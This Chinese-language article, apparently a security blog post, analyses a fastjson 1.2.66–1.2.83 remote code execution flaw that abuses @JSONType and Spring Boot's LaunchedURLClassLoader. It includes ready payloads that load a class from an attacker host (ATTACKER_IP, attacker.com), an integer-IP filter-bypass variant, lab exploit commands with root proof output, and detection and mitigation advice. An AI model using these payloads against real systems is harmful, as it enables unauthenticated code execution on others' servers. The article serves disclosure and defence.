导语:2026年7月,知名开源JSON处理库fastjson被安全研究人员披露新的远程代码执行漏洞。攻击者利用@JSONType注解和Spring Boot的LaunchedURLClassLoader特性,可以绕过autoType安全限制,在无需认证的情况下实现RCE。影响版本覆盖1.2.66至1.2.83。
一、漏洞概述
漏洞编号:公开于2026年7月
发现者:Kirill Firsov(@k_firsov,FearsOff)
受影响版本:fastjson 1.2.66 – 1.2.83
利用条件:
- fastjson 1.2.66–83(probe路径存在且未更改)
- 使用Spring Boot fat-jar的LaunchedURLClassLoader(能解析jar:http://资源名称)
- JDK 8环境(JDK 9+会降级为SSRF)
- 应用可访问攻击者控制的HTTP服务器
关键特点:
- 无需autoType开启——漏洞利用不依赖autoType
- 绑定DTO不是缓解措施——即使使用
JSON.parseObject(body, Dto.class)绑定也会被攻击 - 无gadget依赖——无需寻找额外的反序列化gadget
二、漏洞原理
2.1 核心问题:@JSONType与checkAutoType
fastjson的ParserConfig.checkAutoType()方法在处理每个@type值时会被调用。问题出在1.2.66-1.2.83版本中的这段逻辑:
String resource = typeName.replace('.', '/') + ".class"; // (1) 攻击者可控
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource); // (2) SSRF sink
}
// ...
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass); // (4) defineClass
}
攻击者构造的@type值:jar:http://attacker:8000/probe!.POC
经过处理后:
.replace('.', '/')将点号转换为斜杠- 最终URL变成:
jar:http://attacker:8000/probe!/POC.class

2.2 利用链
- SSRF探测:当
defaultClassLoader是Spring Boot的LaunchedURLClassLoader时,它能解析jar:http://协议 - 远程类加载:攻击者架设恶意HTTP服务器,提供包含@JSONType注解的JAR文件
- 代码执行:类被defineClass后,静态初始化块
<clinit>立即执行 - 类型绑定绕过:即使使用
parseObject(body, Dto.class),RCE也在类型绑定前的probe阶段触发
2.3 为什么”绑定DTO不是缓解措施”?
关键在于if (jsonType) return clazz这个短路逻辑:
if (clazz != null) {
if (jsonType) {
if (autoTypeSupport) { TypeUtils.addMapping(typeName, clazz); }
return clazz; // 跳过deny-list、ClassLoader硬块、assignable检查
}
}
攻击类的在probe阶段就执行了,早于fastjson尝试将其cast到目标Dto之前。所以即使配置了类型绑定,RCE也已经发生了。
三、Payload构造
3.1 基础Payload
{"@type":"jar:http://ATTACKER_IP:8000/probe!.POC","x":1}
3.2 整数IP格式(绕过点号限制)
{"@type":"jar:http://..2130706433:18080.probe!.POC","x":1}
其中2130706433是127.0.0.1的整数表示。
3.3 攻击者视角的完整利用流程
# 1. 启动恶意HTTP服务器(提供恶意JAR)
# 2. 发送Payload
POST /api/parse HTTP/1.1
Host: target.com
Content-Type: application/json
{"@type":"jar:http://attacker.com:8000/probe!.POC","x":1}
# 3. 目标服务器会请求
# http://attacker.com:8000/probe!/POC.class
# 4. 攻击者返回包含恶意类定义和@JSONType注解的JAR
# 5. 目标执行静态初始化块中的代码
四、POC下载地址 👈
POC实验室(Docker一键搭建):
👉 https://github.com/dinosn/fastjson-jsontype-rce-lab

4.1 快速搭建测试环境
git clone https://github.com/dinosn/fastjson-jsontype-rce-lab.git
cd fastjson-jsontype-rce-lab
make up # 构建并启动attacker和target(JDK 8, fastjson 1.2.83)
make exploit # 发送单一Payload,验证代码执行
make down # 清理环境
4.2 预期输出
[*] payload : {"@type":"jar:http://..attacker:8000.probe!.POC","x":1}
[*] response: {"ok":false,"error":"ClassCastException"} <- RCE已触发,之后才报ClassCastException
[*] PROOF — command output captured inside the TARGET container (/tmp/PWNED):
------------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root)
RCE_via_fastjson_JSONType
------------------------------------------------------------------
注意:ClassCastException的出现是关键——它证明绑定类型不是缓解措施,RCE在cast之前就已发生。
4.3 自定义命令执行
PWN_CMD='touch /tmp/i_was_here' docker compose up -d --build attacker
五、检测与防御
5.1 检测工具
项目提供了三个Python 3检测工具(无需pip安装):
静态扫描(检查JAR/WAR/EAR是否包含漏洞组合):
python3 scanner/fjscan_static.py /path/to/artifacts --threads 16
主动探测(SSRF only,不触发RCE):
python3 scanner/fjscan_probe.py --collaborator your.oastify.com --auto --targets targets.txt
Payload生成(Burp Repeater使用):
python3 scanner/fjpayload.py <collaborator-ip> --targets-file targets.txt
5.2 缓解措施
| 措施 | 说明 |
|---|---|
-Dfastjson.parser.safeMode=true | 完全禁用@type处理 |
| 限制应用出站HTTP | 防止SSRF到攻击者服务器 |
| 升级到JDK 9+ | RCE降级为SSRF(仍危险但无法RCE) |
| 迁移到fastjson2 | 彻底脱离1.x系列 |
| WAF规则 | 检测@type中的jar:、!、..、整数IP |
六、漏洞利用条件汇总
| 条件 | 说明 |
|---|---|
| fastjson 1.2.66 – 1.2.83 | probe路径存在且未更改 |
| ClassLoader解析jar:http:// | Spring Boot fat-jar的LaunchedURLClassLoader满足条件 |
| JDK 8 | JDK 9+在defineClass处拒绝构造的名称,仅SSRF |
| HTTP出站访问 | 需要访问攻击者控制的服务器 |
| autoType开关 | 无关——无论是否开启都能利用 |
七、总结
这个漏洞的危险性在于:
- 攻击门槛低——无需找到特定的gadget链,利用明确且稳定
- 防御易被绕过——autoType关闭和类型绑定都不能防御
- Spring Boot应用广泛——几乎所有Spring Boot应用都使用LaunchedURLClassLoader
- RCE无感知——即使JDK 9+也会产生SSRF,可用于内网探测
建议所有使用fastjson 1.2.66-1.2.83版本的应用尽快升级或切换到fastjson2。
出处:本文参考GitHub项目 dinosn/fastjson-jsontype-rce-lab,漏洞原披露者 @k_firsov。














暂无评论内容